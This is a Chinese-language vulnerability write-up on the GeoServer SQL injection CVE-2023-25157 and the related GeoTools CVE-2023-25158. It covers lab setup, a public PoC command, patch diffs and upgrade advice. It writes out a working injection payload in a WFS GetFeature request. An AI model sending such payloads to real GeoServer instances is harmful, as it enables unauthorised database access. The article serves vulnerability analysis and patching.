原创稿件征集
邮箱：edu@antvsion.com
QQ：3200599554
黑客与极客相关，互联网安全领域里
的热点话题
漏洞、技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬
更多详情，点我查看！
简介
GeoServer是一个开源的地图服务器，它是遵循OpenGIS Web服务器规范的J2EE实现，通过它可以方便的将地图数据发布为地图服务，实现地理空间数据在用户之间的共享。
影响版本
geoserver<2.18.7
2.19.0<=geoserver<2.19.7
2.20.0<=geoserver<2.20.7
2.21.0<=geoserver<2.21.4
2.22.0<=geoserver<2.22.2
环境搭建
安装方式有多种可以选择
• windwos下载安装
https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download
下载后只需要指定端口直接下载可完成安装
• war包安装
tomcat下载地址
https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zip
geoserver下载地址
https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip
• 解压下载后的文件geoserver-2.15.1-war.zip，得到geoserver.war
• 把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。
• 启动tomcat
访问路径，默认端口为8080，端口根据自己的需求开放即可，这里我开放的端口为8081
http://localhost:8081/geoserver/web/
分析
POC下载链接
https://github.com/win3zz/CVE-2023-25157
python3 CVE-2023-25157.py http://localhost:8081
查看提交的补丁分析一下漏洞
https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d
修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java
重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块
属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义，从而可能允许增强安全措施。NamedParameterJdbcTemplate是 Spring Framework 提供的一个类，它添加了对使用命名参数对 JDBC 语句进行编程的支持，而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程
public ConfigDatabase(
JDBCLoaderProperties properties,
DataSource dataSource,
XStreamInfoSerialBinding binding) {
this(properties, dataSource, binding, null);
}
public ConfigDatabase(
JDBCLoaderProperties properties,
final DataSource dataSource,
final XStreamInfoSerialBinding binding,
CacheProvider cacheProvider) {
this.properties = properties;
this.binding = binding;
this.template = new NamedParameterJdbcTemplate(dataSource);通过使用参数化查询而不是字符串连接
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改
//sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n");
//sql.append(") query\n");
sql.insert(
0,
"SELECT * FROM (SELECT query.*, rownum rnum FROM ("
+ (isDebugMode() ? "\n" : ""));
sql.append(") query");
appendIfDebug(sql, "\n", " ");修改了插入语法，其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java
中定义
public boolean isDebugMode() {
return debugMode;
}
public void setDebugMode(boolean debugMode) {
this.debugMode = debugMode;
}
/** Escapes the contents of the SQL comment to prevent SQL injection. */
public String escapeComment(String comment) {
String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");
return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");
}
/** Appends the objects to the SQL in a comment if debug mode is enabled. */
public StringBuilder appendComment(StringBuilder sql, Object... objects) {
if (!debugMode) {
return sql;
}
sql.append(" /* ");
for (Object object : objects) {
sql.append(escapeComment(String.valueOf(object)));
}
return sql.append(" */\n");
}
/** Appends the objects to the SQL in an comment if debug mode is enabled. */
public StringBuilder appendComment(Object sql, Object... objects) {
return appendComment((StringBuilder) sql, objects);
}
/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
return sql.append(debugMode ? ifEnabled : ifDisabled);
}获取功能名POC
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1
获取功能属性POC
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1
构造恶意payload
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1这里引用一张图，geotools的注入漏洞
漏洞编号CVE-2023-25158,查看补丁发现
在类中添加该escapeBackslash字段modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java是一种预防措施，可防止某些形式的 SQL 注入，其中反斜杠字符用于转义 SQL 语法中的特殊字符
// single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号，还转义反斜杠，并可能根据其参数转义双引号
public static String escapeLiteral(
String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
// ' --> ''
String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
if (escapeBackslash) {
// \ --> \\
escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");
}
if (escapeDoubleQuote) {
// " --> \"
escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");
}
return escaped;至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章
https://blog.csdn.net/nmj2008/article/details/113869086
修复方案
• 升级安全版本，目前已经有最新版本。
参考链接
https://github.com/0x2458bughunt/CVE-2023-25157
https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d#diff-ad9c7486badfa75fbc4945fec56a8bb870a983363eb1f8c8fa39fc69589a6593
https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158
https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7
https://blog.csdn.net/nmj2008/article/details/113869086原创稿件征集
征集原创技术文章中，欢迎投递
投稿邮箱：edu@antvsion.com
文章类型：黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。
更多详情，点我查看！
九周年庆，戳“阅读原文“
